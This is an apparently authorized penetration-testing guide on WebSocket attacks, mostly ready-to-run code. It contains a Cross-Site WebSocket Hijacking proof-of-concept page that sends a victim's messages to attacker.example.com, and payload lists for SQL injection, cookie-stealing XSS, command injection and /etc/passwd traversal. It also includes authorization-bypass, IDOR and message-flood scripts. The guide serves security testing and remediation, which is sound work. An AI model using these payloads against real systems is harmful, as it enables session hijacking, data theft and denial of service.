26zl Exploiting WebSocket Vulnerabilities
When to Use
- During authorized penetration tests when the application uses WebSocket connections for real-time features
- When assessing chat applications, live notifications, trading platforms, or collaborative editing tools
- For testing WebSocket API endpoints for authentication and authorization flaws
- When evaluating real-time data streams for injection vulnerabilities
- During security assessments of applications using Socket.IO, SignalR, or native WebSocket APIs
Prerequisites
- Authorization: Written penetration testing agreement covering WebSocket testing
- Burp Suite Professional: With WebSocket interception capability
- Browser DevTools: Network tab for WebSocket frame inspection
- websocat: Command-line WebSocket client (
cargo install websocat) - wscat: Node.js WebSocket client (
npm install -g wscat) - Python websockets: For scripting custom WebSocket attacks (
pip install websockets)
Workflow
Step 1: Discover and Enumerate WebSocket Endpoints
Identify WebSocket connections in the application.
# Check for WebSocket upgrade in response headers
curl -s -I \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
"https://target.example.com/ws"
# Common WebSocket endpoint paths
for path in /ws /websocket /socket /socket.io /signalr /hub \
/chat /notifications /live /stream /realtime /api/ws; do
echo -n "$path: "
status=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
"https://target.example.com$path")
echo "$status"
done
# Check for Socket.IO
curl -s "https://target.example.com/socket.io/?EIO=4&transport=polling"
# Check for SignalR
curl -s "https://target.example.com/signalr/negotiate"
# In browser DevTools:
# Network tab > Filter: WS
# Look for ws:// or wss:// connections
# Examine the upgrade request and WebSocket frames
Step 2: Test WebSocket Authentication
Verify that WebSocket connections require proper authentication.
# Test connection without authentication
wscat -c "wss://target.example.com/ws"
# If connection succeeds without tokens, auth is missing
# Test with expired/invalid token
wscat -c "wss://target.example.com/ws" \
-H "Cookie: session=invalid_or_expired_token"
# Test connection with stolen/replayed session
wscat -c "wss://target.example.com/ws" \
-H "Cookie: session=valid_session_from_another_user"
# Test token in WebSocket URL parameter
wscat -c "wss://target.example.com/ws?token=invalid_token"
# Test if authentication is only checked at connection time
# Connect with valid token, then check if messages still work
# after the token expires or the user logs out
# Using Python for automated testing
python3 << 'PYEOF'
import asyncio
import websockets
async def test_no_auth():
try:
async with websockets.connect("wss://target.example.com/ws") as ws:
print("Connected WITHOUT authentication!")
# Try sending a message
await ws.send('{"type":"get_data","resource":"users"}')
response = await ws.recv()
print(f"Response: {response}")
except Exception as e:
print(f"Connection failed: {e}")
asyncio.run(test_no_auth())
PYEOF
Step 3: Test Cross-Site WebSocket Hijacking (CSWSH)
Check if the WebSocket handshake is vulnerable to cross-site attacks.
# Check Origin header validation on WebSocket upgrade
curl -s -I \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
-H "Origin: https://evil.example.com" \
"https://target.example.com/ws"
# If 101 Switching Protocols: Origin not validated (vulnerable to CSWSH)
# If 403: Origin validation is working
<!-- Cross-Site WebSocket Hijacking PoC -->
<!-- Host on attacker-controlled server -->
<html>
<head><title>CSWSH PoC</title></head>
<body>
<h1>Cross-Site WebSocket Hijacking</h1>
<div id="messages"></div>
<script>
// This connects to the target's WebSocket using the victim's cookies
var ws = new WebSocket("wss://target.example.com/ws");
ws.onopen = function() {
console.log("WebSocket connected (using victim's session)");
// Request sensitive data through the WebSocket
ws.send(JSON.stringify({type: "get_messages", channel: "private"}));
ws.send(JSON.stringify({type: "get_profile"}));
};
ws.onmessage = function(event) {
console.log("Data stolen: " + event.data);
document.getElementById("messages").innerText += event.data + "\n";
// Exfiltrate to attacker server
fetch("https://attacker.example.com/collect", {
method: "POST",
body: event.data
});
};
ws.onerror = function(error) {
console.log("WebSocket error: " + error);
};
</script>
</body>
</html>
Step 4: Test WebSocket Message Injection
Assess WebSocket messages for injection vulnerabilities.
# Using wscat for manual message injection testing
wscat -c "wss://target.example.com/ws" \
-H "Cookie: session=valid_session_token"
# Once connected, send test messages:
# SQL injection in WebSocket message
# > {"action":"search","query":"' OR 1=1--"}
# XSS payload in chat message
# > {"type":"message","content":"<script>alert(document.cookie)</script>"}
# > {"type":"message","content":"<img src=x
# Command injection
# > {"action":"ping","host":"127.0.0.1; whoami"}
# Path traversal
# > {"action":"read_file","path":"../../../etc/passwd"}
# IDOR in WebSocket messages
# > {"action":"get_messages","channel_id":1}
# > {"action":"get_messages","channel_id":2} (another user's channel)
# Automated injection testing with Python
python3 << 'PYEOF'
import asyncio
import websockets
import json
PAYLOADS = [
{"action": "search", "query": "' OR 1=1--"},
{"action": "search", "query": "<script>alert(1)</script>"},
{"action": "search", "query": "{{7*7}}"},
{"action": "search", "query": "${7*7}"},
{"action": "read", "file": "../../../etc/passwd"},
{"action": "exec", "cmd": "; whoami"},
]
async def test_injections():
async with websockets.connect(
"wss://target.example.com/ws",
extra_headers={"Cookie": "session=valid_token"}
) as ws:
for payload in PAYLOADS:
await ws.send(json.dumps(payload))
try:
response = await asyncio.wait_for(ws.recv(), timeout=5)
print(f"Payload: {json.dumps(payload)}")
print(f"Response: {response}\n")
except asyncio.TimeoutError:
print(f"Timeout for: {json.dumps(payload)}\n")
asyncio.run(test_injections())
PYEOF
Step 5: Test WebSocket Authorization and Rate Limiting
Check if message-level authorization and abuse controls are enforced.
# Test accessing other users' data via WebSocket
python3 << 'PYEOF'
import asyncio
import websockets
import json
async def test_authz():
async with websockets.connect(
"wss://target.example.com/ws",
extra_headers={"Cookie": "session=user_a_session"}
) as ws:
# Try accessing User B's private data
messages = [
{"type": "subscribe", "channel": "user_b_private"},
{"type": "get_history", "user_id": "user_b_id"},
{"type": "admin_action", "action": "list_users"},
{"type": "send_message", "to": "admin", "as": "admin"},
]
for msg in messages:
await ws.send(json.dumps(msg))
try:
response = await asyncio.wait_for(ws.recv(), timeout=5)
print(f"Sent: {json.dumps(msg)}")
print(f"Received: {response}\n")
except asyncio.TimeoutError:
print(f"No response for: {json.dumps(msg)}\n")
asyncio.run(test_authz())
PYEOF
# Test rate limiting on WebSocket messages
python3 << 'PYEOF'
import asyncio
import websockets
import json
import time
async def test_rate_limit():
async with websockets.connect(
"wss://target.example.com/ws",
extra_headers={"Cookie": "session=valid_token"}
) as ws:
start = time.time()
for i in range(1000):
await ws.send(json.dumps({
"type": "message",
"content": f"Flood message {i}"
}))
elapsed = time.time() - start
print(f"Sent 1000 messages in {elapsed:.2f} seconds")
print("If no rate limiting, DoS is possible")
asyncio.run(test_rate_limit())
PYEOF
Step 6: Test WebSocket Encryption and Protocol Security
Verify transport security and protocol-level protections.
# Check if WebSocket uses WSS (encrypted) or WS (plaintext)
# WS (ws://) traffic can be intercepted by network attackers
# Check for mixed protocols
# Application on HTTPS but WebSocket on WS = insecure
curl -s "https://target.example.com/" | grep -oP "ws://[^\"']+"
# Should only find wss:// (encrypted WebSocket)
# Test Sec-WebSocket-Protocol header handling
wscat -c "wss://target.example.com/ws" \
-H "Sec-WebSocket-Protocol: admin-protocol"
# Test for compression side-channel (CRIME-like attacks)
# Check if Sec-WebSocket-Extensions includes permessage-deflate
curl -s -I \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Extensions: permessage-deflate" \
"https://target.example.com/ws" | grep -i "sec-websocket-extensions"
# permessage-deflate with secrets in messages can leak data via compression
# Test WebSocket connection persistence
# Check if server implements proper timeouts and connection limits
Key Concepts
| Concept | Description |
|---|---|
| WebSocket Handshake | HTTP upgrade request that transitions the connection from HTTP to WebSocket protocol |
| CSWSH | Cross-Site WebSocket Hijacking - exploiting missing Origin validation to hijack sessions |
| Origin Validation | Server-side check that the WebSocket upgrade request comes from a trusted origin |
| Message-level Authorization | Verifying permissions for each WebSocket message, not just at connection time |
| WSS | WebSocket Secure - encrypted WebSocket connection over TLS (equivalent to HTTPS) |
| Socket.IO | Popular WebSocket library with automatic fallback to HTTP long-polling |
| Ping/Pong Frames | WebSocket keepalive mechanism; can be abused for timing attacks |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Professional | WebSocket interception, modification, and history analysis |
| wscat | Command-line WebSocket client for manual testing |
| websocat | Versatile command-line WebSocket client written in Rust |
| Browser DevTools | Network tab WS filter for inspecting WebSocket frames |
| Socket.IO Client | Testing Socket.IO-based WebSocket implementations |
| Python websockets | Scripting automated WebSocket attack sequences |
Common Scenarios
Scenario 1: Chat Application CSWSH
A real-time chat application validates the user's cookie during the WebSocket handshake but does not check the Origin header. An attacker hosts a page that opens a WebSocket to the chat server, stealing the victim's private messages.
Scenario 2: Trading Platform Message Injection
A trading platform processes WebSocket messages containing order parameters. SQL injection in the symbol field of an order message allows extracting the entire order database through error-based SQLi.
Scenario 3: Missing Message Authorization
A collaboration tool checks user authentication at WebSocket connection time but does not verify authorization for individual messages. After connecting, a regular user sends admin-level commands to delete workspaces and export user data.
Scenario 4: Notification Channel IDOR
A notification system subscribes users to channels via WebSocket messages containing channel IDs. Changing the channel ID allows any user to subscribe to any other user's private notification channel.
Output Format
## WebSocket Security Assessment Report
**Vulnerability**: Cross-Site WebSocket Hijacking (CSWSH)
**Severity**: High (CVSS 8.1)
**Location**: wss://target.example.com/ws
**OWASP Category**: A01:2021 - Broken Access Control
### WebSocket Configuration
| Property | Value |
|----------|-------|
| Protocol | WSS (encrypted) |
| Library | Socket.IO 4.x |
| Authentication | Cookie-based session |
| Origin Validation | NOT ENFORCED |
| Message Authorization | NOT ENFORCED |
| Rate Limiting | NOT IMPLEMENTED |
### Findings
| Finding | Severity |
|---------|----------|
| CSWSH - No Origin validation | High |
| Missing message-level authorization | High |
| XSS via chat message injection | Medium |
| No rate limiting on messages | Medium |
| Channel IDOR (subscribe to any channel) | High |
| WebSocket open after logout | Medium |
### Impact
- Private message exfiltration via CSWSH
- Account impersonation through unauthorized message sending
- Cross-channel data access affecting all users
- DoS via message flooding (no rate limits)
### Recommendation
1. Validate the Origin header during WebSocket handshake
2. Implement CSRF tokens in the WebSocket upgrade request
3. Enforce authorization checks on every WebSocket message
4. Sanitize all user input in WebSocket messages (prevent XSS/SQLi)
5. Implement message rate limiting per connection
6. Invalidate WebSocket connections on logout or session expiration
7. Use per-message authentication tokens rather than relying solely on the initial handshake